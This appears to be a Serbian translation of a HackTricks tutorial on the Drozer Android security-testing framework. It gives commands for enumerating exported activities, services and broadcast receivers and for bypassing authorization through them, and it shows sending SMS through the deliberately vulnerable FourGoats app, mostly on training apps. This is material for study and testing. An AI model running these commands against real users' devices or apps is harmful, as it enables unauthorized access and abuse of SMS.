Drozer Tutorial

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Savet za bug bounty: registrujte se za Intigriti, premium platformu za bug bounty kreiranu od hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

APK-ovi za testiranje

Delovi ovog tutorijala su izdvojeni iz Drozer dokumentacije pdf.

Instalacija

Instalirajte Drozer klijenta unutar vašeg hosta. Preuzmite ga sa najnovijih izdanja.

pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity

Preuzmite i instalirajte drozer APK sa poslednjim izdanjima. Trenutno je to ovo.

adb install drozer.apk

Pokretanje servera

Agent se izvršava na portu 31415, potrebno je prosleđivanje porta kako bismo uspostavili komunikaciju između Drozer klijenta i Agent-a, evo komande za to:

adb forward tcp:31415 tcp:31415

Na kraju, pokrenite aplikaciju i pritisnite dugme "ON"

I povežite se na nju:

drozer console connect

Interesantne Komande

Komande

Opis

Help MODULE

Prikazuje pomoć odabranog modula

list

Prikazuje listu svih drozer modula koji mogu biti izvršeni u trenutnoj sesiji. Ovo skriva module za koje nemate odgovarajuće dozvole za pokretanje.

shell

Pokreće interaktivnu Linux ljusku na uređaju, u kontekstu Agenta.

clean

Uklanja privremene datoteke koje je drozer sačuvao na Android uređaju.

load

Učitava datoteku koja sadrži drozer komande i izvršava ih u sekvenci.

module

Pronalazi i instalira dodatne drozer module sa Interneta.

unset

Uklanja nazvanu promenljivu koju drozer prosleđuje svim Linux ljuskama koje pokreće.

set

Čuva vrednost u promenljivoj koja će biti prosleđena kao okolina svim Linux ljuskama koje pokreće drozer.

shell

Pokreće interaktivnu Linux ljusku na uređaju, u kontekstu Agenta.

run MODULE

Izvršava drozer modul

exploit

Drozer može kreirati eksploate za izvršavanje na uređaju. drozer exploit list

payload

Eksploati zahtevaju payload. drozer payload list

Paket

Pronađi ime paketa filtrirajući po delu imena:

dz> run app.package.list -f sieve
com.mwr.example.sieve

Osnovne informacije o paketu:

dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

Pročitajte Manifest:

run app.package.manifest jakhar.aseem.diva

Napadna površina paketa:

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
  • Aktivnosti: Možda možete pokrenuti aktivnost i zaobići neku vrstu autorizacije koja bi trebalo da vas spreči da je pokrenete.

  • Provajderi sadržaja: Možda možete pristupiti privatnim podacima ili iskoristiti neku ranjivost (SQL Injection ili Traversiranje putanje).

  • Servisi:

  • is debuggable: Saznajte više

Aktivnosti

Vrednost "android:exported" izveženog aktivnog komponenta postavljena je na "true" u AndroidManifest.xml datoteci:

<activity android:name="com.my.app.Initial" android:exported="true">
</activity>

Lista izvezenih aktivnosti:

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

Pokretanje aktivnosti:

Možda možete pokrenuti aktivnost i zaobići neku vrstu autorizacije koja bi trebalo da vas spreči da je pokrenete.

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

Takođe možete pokrenuti izveštenu aktivnost pomoću adb:

  • PackageName je com.example.demo

  • Ime izveštene aktivnosti je com.example.test.MainActivity

adb shell am start -n com.example.demo/com.example.test.MainActivity

Provajderi sadržaja

Ovaj post je bio toliko veliki da biste ga mogli pristupiti na njegovoj sopstvenoj stranici ovde](exploiting-content-providers.md).

Servisi

Izveženi servis je deklarisan unutar Manifest.xml fajla:

<service android:name=".AuthService" android:exported="true" android:process=":remote"/>

Unutar koda proverite funkciju **handleMessage** koja će primiti poruku:

Lista servisa

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

Komunicirajte sa uslugom

app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service

Primer

Pogledajte drozer pomoć za app.service.send:

Imajte na umu da ćete prvo slati podatke unutar "msg.what", zatim "msg.arg1" i "msg.arg2", trebalo bi da proverite unutar koda koje informacije se koriste i gde. Korišćenjem opcije --extra možete poslati nešto što će biti interpretirano kao "msg.replyTo", a korišćenjem --bundle-as-obj kreirate objekat sa pruženim detaljima.

U sledećem primeru:

  • what == 2354

  • arg1 == 9234

  • arg2 == 1

  • replyTo == object(string com.mwr.example.sieve.PIN 1337)

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj

Broadcast prijemnici

U odeljku Osnovne informacije o Androidu možete videti šta je Broadcast prijemnik.

Nakon otkrivanja ovih Broadcast prijemnika trebalo bi proveriti kod njih. Posebno obratite pažnju na funkciju onReceive jer će ona obrađivati primljene poruke.

Otkrijte sve broadcast prijemnike

run app.broadcast.info #Detects all

Proverite prijemnike emitovanja aplikacije

#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.

# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null

Emitovanje Interakcija

app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents

Pošalji poruku

U ovom primeru zloupotrebe FourGoats apk Content Providera možete poslati proizvoljnu SMS na bilo koju destinaciju bez traženja dozvole korisnika.

Ako pročitate kod, parametri "phoneNumber" i "message" moraju biti poslati Content Provideru.

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

Da li je moguće debagovanje

APK u produkciji nikada ne bi trebalo da bude moguće debagovanje. To znači da možete povezati Java debager sa pokrenutom aplikacijom, inspicirati je u toku izvršavanja, postaviti prekide, ići korak po korak, prikupljati vrednosti promenljivih pa čak i ih menjati. InfoSec institut ima odličan članak o dubljem istraživanju kada je vaša aplikacija debagovana i ubacivanju koda u toku izvršavanja.

Kada je aplikacija moguće debagovati, pojaviće se u Manifestu:

<application theme="@2131296387" debuggable="true"

Možete pronaći sve aplikacije koje se mogu debagovati pomoću Drozera:

run app.package.debuggable

Tutorijali

Više informacija

Savet za bug bounty: registrujte se za Intigriti, premium platformu za bug bounty kreiranu od hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated